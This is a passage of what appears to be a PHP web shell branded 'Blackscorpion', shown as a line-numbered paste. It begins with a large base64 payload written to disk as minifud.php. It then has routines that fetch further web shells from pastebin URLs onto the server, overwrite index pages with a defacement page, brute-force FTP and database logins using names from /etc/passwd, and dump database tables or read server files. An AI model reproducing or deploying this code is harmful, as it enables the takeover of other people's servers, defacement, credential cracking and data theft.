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
  2792. ";
  2793. $blackscorpionS1 = @fopen("minifud.php", "w");
  2794. @fwrite($blackscorpionS1, base64_decode($minifud));
  2795. @fclose($blackscorpionS1);
  2796. header("Location:minifud.php");
  2797. }
  2798.  
  2799.  
  2800.  
  2801. function download_remote_file($file_url, $save_to)
  2802. {
  2803. $content = file_get_contents($file_url);
  2804. file_put_contents($save_to, $content);
  2805. }
  2806. if (isset($_POST['dhanush'])) {
  2807. download_remote_file('http://pastebin.com/raw/FHs6uGki', realpath("./") . '/dhanush.php');
  2808. header("location:dhanush.php"); }
  2809.  
  2810. if (isset($_POST['anonghosts'])) {
  2811. download_remote_file('http://pastebin.com/raw/Cm3WsQXL', realpath("./") . '/anonghosts.php');
  2812. header("location:anonghosts.php"); }
  2813. if (isset($_POST['blackhat'])) {
  2814. download_remote_file('http://pastebin.com/raw/XFs2pPBM', realpath("./") . '/blackhat.php');
  2815. header("location:blackhat.php"); }
  2816. if (isset($_POST['imageshell'])) {
  2817. download_remote_file('http://pastebin.com/raw/eTbTMB4y', realpath("./") . '/imageshell.php');
  2818. header("location:imageshell.php"); }
  2819. if (isset($_POST['madspot'])) {
  2820. download_remote_file('http://pastebin.com/raw/mjKJRfXA', realpath("./") . '/madspot.php');
  2821. header("location:madspot.php"); }
  2822. if (isset($_POST['pcd'])) { // password is aknight
  2823. download_remote_file('http://pastebin.com/raw/cBiiU6MR', realpath("./") . '/pcd.php');
  2824. header("location:pcd.php"); }
  2825. if (isset($_POST['cheta'])) { // password is aknight
  2826. download_remote_file('http://pastebin.com/raw/H6ah5rnF', realpath("./") . '/cheta.php');
  2827. header("location:cheta.php"); }
  2828. if (isset($_POST['1337worm'])) { // password is aknight
  2829. download_remote_file('http://pastebin.com/raw/7WwNgWHh', realpath("./") . '/1337worm.php');
  2830. header("location:1337worm.php"); }
  2831. if (isset($_POST['joker'])) { // password is aknight
  2832. download_remote_file('http://pastebin.com/raw/eLT2PtZN', realpath("./") . '/joker.php');
  2833. header("location:joker.php"); }
  2834. if (isset($_POST['b374k'])) { // password is aknight
  2835. download_remote_file('http://pastebin.com/raw/UZuF1RKJ', realpath("./") . '/b374k.php');
  2836. header("location:b374k.php"); }
  2837. if (isset($_POST['ghaza'])) {
  2838. download_remote_file('https://pastebin.com/raw/anJYXcW1', realpath("./") . '/ghaza.php');
  2839. header("location:ghaza.php"); }
  2840.  
  2841.  
  2842. if (isset($_POST['defacepage'])) {
  2843. $file = fopen("index.php","w");
  2844. $write = fwrite ($file ,base64_decode($defacepage));
  2845. fclose($file);
  2846. echo 'Done'; }
  2847. if (isset($_POST['defacepage'])) {
  2848. $file = fopen("index.html","w");
  2849. $write = fwrite ($file ,base64_decode($defacepage));
  2850. fclose($file);
  2851. echo 'Done!'; }
  2852.  
  2853. function actionBruteforce() {
  2854. BlackscorpionHeader();
  2855. if( isset($_POST['proto']) ) {
  2856. echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
  2857. if( $_POST['proto'] == 'ftp' ) {
  2858. function BlackscorpionBruteForce($ip,$port,$login,$pass) {
  2859. $fp = @ftp_connect($ip, $port?$port:21);
  2860. if(!$fp) return false;
  2861. $res = @ftp_login($fp, $login, $pass);
  2862. @ftp_close($fp);
  2863. return $res;
  2864. }
  2865. } elseif( $_POST['proto'] == 'mysql' ) {
  2866. function BlackscorpionBruteForce($ip,$port,$login,$pass) {
  2867. $res = @mysql_connect($ip.':'.($port?$port:3306), $login, $pass);
  2868. @mysql_close($res);
  2869. return $res;
  2870. }
  2871. } elseif( $_POST['proto'] == 'pgsql' ) {
  2872. function BlackscorpionBruteForce($ip,$port,$login,$pass) {
  2873. $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
  2874. $res = @pg_connect($str);
  2875. @pg_close($res);
  2876. return $res;
  2877. }
  2878. }
  2879. $success = 0;
  2880. $attempts = 0;
  2881. $server = explode(":", $_POST['server']);
  2882. if($_POST['type'] == 1) {
  2883. $temp = @file('/etc/passwd');
  2884. if( is_array($temp) )
  2885. foreach($temp as $line) {
  2886. $line = explode(":", $line);
  2887. ++$attempts;
  2888. if( BlackscorpionBruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
  2889. $success++;
  2890. echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
  2891. }
  2892. if(@$_POST['reverse']) {
  2893. $tmp = "";
  2894. for($i=strlen($line[0])-1; $i>=0; --$i)
  2895. $tmp .= $line[0][$i];
  2896. ++$attempts;
  2897. if( BlackscorpionBruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
  2898. $success++;
  2899. echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
  2900. }
  2901. }
  2902. }
  2903. } elseif($_POST['type'] == 2) {
  2904. $temp = @file($_POST['dict']);
  2905. if( is_array($temp) )
  2906. foreach($temp as $line) {
  2907. $line = trim($line);
  2908. ++$attempts;
  2909. if( BlackscorpionBruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
  2910. $success++;
  2911. echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
  2912. }
  2913. }
  2914. }
  2915. echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
  2916. }
  2917. echo '<center><h1>Bruteforce</h1></center><div class=content><table><form method=post><tr><td><span>Type</span></td>'
  2918. .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
  2919. .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
  2920. .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
  2921. .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
  2922. .'<span>Server:port</span></td>'
  2923. .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
  2924. .'<tr><td><span>Brute type</span></td>'
  2925. .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
  2926. .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
  2927. .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
  2928. .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
  2929. .'<td><input type=text name=login value="root"></td></tr>'
  2930. .'<tr><td><span>Dictionary</span></td>'
  2931. .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
  2932. .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
  2933. echo '</div><br>';
  2934. BlackscorpionFooter();
  2935. }
  2936. function actionSql() {
  2937. class DbClass {
  2938. var $type;
  2939. var $link;
  2940. var $res;
  2941. function DbClass($type) {
  2942. $this->type = $type;
  2943. }
  2944. function connect($host, $user, $pass, $dbname){
  2945. switch($this->type) {
  2946. case 'mysql':
  2947. if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
  2948. break;
  2949. case 'pgsql':
  2950. $host = explode(':', $host);
  2951. if(!$host[1]) $host[1]=5432;
  2952. if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
  2953. break;
  2954. }
  2955. return false;
  2956. }
  2957. function selectdb($db) {
  2958. switch($this->type) {
  2959. case 'mysql':
  2960. if (@mysql_select_db($db))return true;
  2961. break;
  2962. }
  2963. return false;
  2964. }
  2965. function query($str) {
  2966. switch($this->type) {
  2967. case 'mysql':
  2968. return $this->res = @mysql_query($str);
  2969. break;
  2970. case 'pgsql':
  2971. return $this->res = @pg_query($this->link,$str);
  2972. break;
  2973. }
  2974. return false;
  2975. }
  2976. function fetch() {
  2977. $res = func_num_args()?func_get_arg(0):$this->res;
  2978. switch($this->type) {
  2979. case 'mysql':
  2980. return @mysql_fetch_assoc($res);
  2981. break;
  2982. case 'pgsql':
  2983. return @pg_fetch_assoc($res);
  2984. break;
  2985. }
  2986. return false;
  2987. }
  2988. function listDbs() {
  2989. switch($this->type) {
  2990. case 'mysql':
  2991. return $this->query("SHOW databases");
  2992. break;
  2993. case 'pgsql':
  2994. return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
  2995. break;
  2996. }
  2997. return false;
  2998. }
  2999. function listTables() {
  3000. switch($this->type) {
  3001. case 'mysql':
  3002. return $this->res = $this->query('SHOW TABLES');
  3003. break;
  3004. case 'pgsql':
  3005. return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
  3006. break;
  3007. }
  3008. return false;
  3009. }
  3010. function error() {
  3011. switch($this->type) {
  3012. case 'mysql':
  3013. return @mysql_error();
  3014. break;
  3015. case 'pgsql':
  3016. return @pg_last_error();
  3017. break;
  3018. }
  3019. return false;
  3020. }
  3021. function setCharset($str) {
  3022. switch($this->type) {
  3023. case 'mysql':
  3024. if(function_exists('mysql_set_charset'))
  3025. return @mysql_set_charset($str, $this->link);
  3026. else
  3027. $this->query('SET CHARSET '.$str);
  3028. break;
  3029. case 'pgsql':
  3030. return @pg_set_client_encoding($this->link, $str);
  3031. break;
  3032. }
  3033. return false;
  3034. }
  3035. function loadFile($str) {
  3036. switch($this->type) {
  3037. case 'mysql':
  3038. return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
  3039. break;
  3040. case 'pgsql':
  3041. $this->query("CREATE TABLE Blackscorpion3(file text);COPY Blackscorpion3 FROM '".addslashes($str)."';select file from Blackscorpion3;");
  3042. $r=array();
  3043. while($i=$this->fetch())
  3044. $r[] = $i['file'];
  3045. $this->query('drop table Blackscorpion3');
  3046. return array('file'=>implode("\n",$r));
  3047. break;
  3048. }
  3049. return false;
  3050. }
  3051. function dump($table, $fp = false) {
  3052. switch($this->type) {
  3053. case 'mysql':
  3054. $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
  3055. $create = mysql_fetch_array($res);
  3056. $sql = $create[1].";\n";
  3057. if($fp) fwrite($fp, $sql); else echo($sql);
  3058. $this->query('SELECT * FROM `'.$table.'`');
  3059. $i = 0;
  3060. $head = true;
  3061. while($item = $this->fetch()) {
  3062. $sql = '';
  3063. if($i % 1000 == 0) {
  3064. $head = true;
  3065. $sql = ";\n\n";
  3066. }
  3067. $columns = array();
  3068. foreach($item as $k=>$v) {
  3069. if($v === null)
  3070. $item[$k] = "NULL";
  3071. elseif(is_int($v))
  3072. $item[$k] = $v;
  3073. else
  3074. $item[$k] = "'".@mysql_real_escape_string($v)."'";
  3075. $columns[] = "`".$k."`";
  3076. }
  3077. if($head) {
  3078. $sql .= 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')';
  3079. $head = false;
  3080. } else
  3081. $sql .= "\n\t,(".implode(", ", $item).')';
  3082. if($fp) fwrite($fp, $sql); else echo($sql);
  3083. $i++;
  3084. }
  3085. if(!$head)
  3086. if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");
  3087. break;
  3088. case 'pgsql':
  3089. $this->query('SELECT * FROM '.$table);
  3090. while($item = $this->fetch()) {
  3091. $columns = array();
  3092. foreach($item as $k=>$v) {
  3093. $item[$k] = "'".addslashes($v)."'";
  3094. $columns[] = $k;
  3095. }
  3096. $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
  3097. if($fp) fwrite($fp, $sql); else echo($sql);
  3098. }
  3099. break;
  3100. }
  3101. return false;
  3102. }
  3103. };
  3104. $db = new DbClass($_POST['type']);
  3105. if((@$_POST['p2']=='download') && (@$_POST['p1']!='select')) {
  3106. $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
  3107. $db->selectdb($_POST['sql_base']);
  3108. switch($_POST['charset']) {
  3109. case "Windows-1251": $db->setCharset('cp1251'); break;
  3110. case "UTF-8": $db->setCharset('utf8'); break;
  3111. case "KOI8-R": $db->setCharset('koi8r'); break;
  3112. case "KOI8-U": $db->setCharset('koi8u'); break;
  3113. case "cp866": $db->setCharset('cp866'); break;
  3114. }
  3115. if(empty($_POST['file'])) {
  3116. ob_start("ob_gzhandler", 4096);
  3117. header("Content-Disposition: attachment; filename=dump.sql");
  3118. header("Content-Type: text/plain");
  3119. foreach($_POST['tbl'] as $v)
  3120. $db->dump($v);
  3121. exit;
  3122. } elseif($fp = @fopen($_POST['file'], 'w')) {
  3123. foreach($_POST['tbl'] as $v)
  3124. $db->dump($v, $fp);
  3125. fclose($fp);
  3126. unset($_POST['p2']);
  3127. } else
  3128. die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
  3129. }
  3130. BlackscorpionHeader();
  3131. echo "
  3132. <center><h1>Sql browser</h1></center><div class=content>
  3133. <form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
  3134. <td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
  3135. <input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
  3136. <td><select name='type'><option value='mysql' ";
  3137. if(@$_POST['type']=='mysql')echo 'selected';
  3138. echo ">MySql</option><option value='pgsql' ";
  3139. if(@$_POST['type']=='pgsql')echo 'selected';
  3140. echo ">PostgreSql</option></select></td>
  3141. <td><input type=text name=sql_host value=\"". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."\"></td>
  3142. <td><input type=text name=sql_login value=\"". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."\"></td>
  3143. <td><input type=text name=sql_pass value=\"". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."\"></td><td>";
  3144. $tmp = "<input type=text name=sql_base value=''>";
  3145. if(isset($_POST['sql_host'])){
  3146. if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
  3147. switch($_POST['charset']) {
  3148. case "Windows-1251": $db->setCharset('cp1251'); break;
  3149. case "UTF-8": $db->setCharset('utf8'); break;
  3150. case "KOI8-R": $db->setCharset('koi8r'); break;
  3151. case "KOI8-U": $db->setCharset('koi8u'); break;
  3152. case "cp866": $db->setCharset('cp866'); break;
  3153. }
  3154. $db->listDbs();
  3155. echo "<select name=sql_base><option value=''></option>";
  3156. while($item = $db->fetch()) {
  3157. list($key, $value) = each($item);
  3158. echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
  3159. }
  3160. echo '</select>';
  3161. }
  3162. else echo $tmp;
  3163. }else
  3164. echo $tmp;
  3165. echo "</td>
  3166. <td><input type=submit value='>>' onclick='fs(d.sf);'></td>
  3167. <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
  3168. </tr>
  3169. </table>
  3170. <script>
  3171. s_db='".@addslashes($_POST['sql_base'])."';
  3172. function fs(f) {
  3173. if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
  3174. if(f.p1) f.p1.value='';
  3175. if(f.p2) f.p2.value='';
  3176. if(f.p3) f.p3.value='';
  3177. }
  3178. }
  3179. function st(t,l) {
  3180. d.sf.p1.value = 'select';
  3181. d.sf.p2.value = t;
  3182. if(l && d.sf.p3) d.sf.p3.value = l;
  3183. d.sf.submit();
  3184. }
  3185. function is() {
  3186. for(i=0;i<d.sf.elements['tbl[]'].length;++i)
  3187. d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
  3188. }
  3189. </script>";
  3190. if(isset($db) && $db->link){
  3191. echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
  3192. if(!empty($_POST['sql_base'])){
  3193. $db->selectdb($_POST['sql_base']);
  3194. echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
